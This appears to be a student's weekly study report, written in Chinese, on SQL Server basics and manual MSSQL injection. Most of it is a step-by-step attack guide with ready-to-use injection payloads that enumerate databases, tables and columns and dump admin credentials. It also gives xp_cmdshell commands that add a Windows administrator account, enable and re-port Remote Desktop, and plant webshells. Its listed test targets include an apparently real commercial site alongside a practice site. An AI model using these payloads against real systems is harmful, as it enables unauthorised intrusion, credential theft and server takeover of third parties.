大一第二学期周报6Web基础

SQL Server

一·安全性,登录名创建
大一第二学期周报6Web基础_第1张图片
右击登录名,创建登录名
大一第二学期周报6Web基础_第2张图片

可以创建一些sqlserver登陆账号
大一第二学期周报6Web基础_第3张图片
强制实施密码策略,更有利于安全性
大一第二学期周报6Web基础_第4张图片

服务器角色(创建用户权限),sysadmin是最大的权限
大一第二学期周报6Web基础_第5张图片

用户映射(创建用户对另一些数据库的权限)一般是public只能去读取
大一第二学期周报6Web基础_第6张图片
状态(权限)
大一第二学期周报6Web基础_第7张图片

创建完成后,可以以这个登录名登录。


二·常见语句
创建数据库:
create database database-name

删除数据库
drop database dbname

查询所有
select * from 表名


三·数据库权限
最大sa权限:数据库操作,文件管理,命令执行,注册表,读取等。system

db权限:文件管理,数据库操作等。user-adminstrators

public权限:数据库权限。guest-uesrs


MSSql数据库调用及注入

一·调用数据库代码
<%
set conn =server.createobject(“adodb.connection”)
conn.open “provide=sqloledb;source=local;uid=sa;pwd=******;database=database-name
%>

其中,provide后面的不用管,照写;source后面的可以是ip地址,这里用的是本地;sa为内置的用户,它的密码是在安装的时候设置得;database后面是要连接得数据库名称,列:mydatabase(不需要扩展名)

二·MSsql数据库判断
1.判断是否有注入
and 1=1
and 1=2
/
-0

2.初步判断是不是MSsql数据库注入
and user>0

3.判断数据库系统
MSsql
and (select count(*) from sysobject)>0
Access
and (select count(*) from msysobject)>0

4.测试权限结构(mssql)
and 1=(select lS_SRVROLEMEMBER('sysadmin '));–
测你当前是什么身份
返回正常是sa
删除线处是服务器角色名称

5.可能报出所有数据库
and 1=(selcet name from master…sysdatabases for xml path)

6.测数据库当前版本情况
and 1=(select @@version)
也可以
id=@@version,id=是原有的

7.查当前连接数据库名称
and 1=(select db_name())
也可以
id=db_name(),id=是原有的

三·获取第一个用户数据库
跑一下网站,看当前的sql server有哪些数据库
1,代表第一个

and 1=(select top 1 name from master…sysdatabases where dbid>4)

dbid>4,前四个是系统默认数据库

运行后,报出来第一个就是test数据库(参照上一篇周报,第五个数据库就是test,第6个是aaa)

然后
and 1=(select top 1 name from master…sysdatabases where dbid>4 and name<>‘test’)

运行,就会报出来aaa
也可以
and 1=(select top 1 name from master…sysdatabases where dbid>5)

四·获取表名
and 1=(select top 1 name from sysobjects where xtype=‘u’)

例如运行后报出 news表
再加上
and 1=(select top 1 name from sysobjects where xtype=‘u’ and name<>’ news’)

报出来 admin 表
再往后加上
and 1=(select top 1 name from sysobjects where xtype=‘u’ and name<>’ news’ and name<>‘admin’)

先运行
and 1=(select top 1 name from sysobjects for xml path)
如果没报错,再接着运行
and 1=(select name from sysobjects for xml path)
就可报出所有的表

五·获取列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘admin’))
列出第一列admin

and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘admin’ ) and name<>‘admin’ )
列出第二列pass

都跑出来后就可以去跑数据了
and 1=(select top 1 admin from admin)
第一个admin是列,第二个是表名
第一个admin可以换成pass

顺序:
先报数据库→报表→报列→跑数据

以上均为手工

测试站点:
http://testasp.vulnweb.com/showforum.asp?id=0
http://www.langesteel.com/onewll.asp?id=42574

六·利用MsSql扩展存储注入攻击
大一第二学期周报6Web基础_第8张图片

大一第二学期周报6Web基础_第9张图片
上面新建用户两条语句要放到 id=数字 后执行,就可以添加上。

恢复:
执行返回正常的话,恢复后就可以执行系统命令了

net user 用户名 密码/add

net localgroup adminstrators 用户名/add
把该用户添加到管理员组

然后就可以远程登陆了
win+R
mstsc
大一第二学期周报6Web基础_第10张图片

如果对方没开启远程桌面端口,就用这条语句打开对方3389端口:
;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections/t REG_DWORD /d 0x0 /f’

以上都放到原有 id=数字 后
执行以下,连上后,就可以用账户登陆了

大一第二学期周报6Web基础_第11张图片

七·sa权限
sa权限下扩展存储攻击利用方法,test位置是名称,password密码
大一第二学期周报6Web基础_第12张图片

大一第二学期周报6Web基础_第13张图片

如果本地路由器没有3389端口,则可以把3389端口改到端口80
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP_Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f’

利用sa权限插入木马语句
大一第二学期周报6Web基础_第14张图片
大一第二学期周报6Web基础_第15张图片

出问题时就用这一条语句
大一第二学期周报6Web基础_第16张图片

八·dbowner权限下的扩展利用攻击
大一第二学期周报6Web基础_第17张图片

用dbowner写下一句木马
大一第二学期周报6Web基础_第18张图片

接下来我会为大家介绍各种工具的使用

你可能感兴趣的:(大一第二学期周报6Web基础)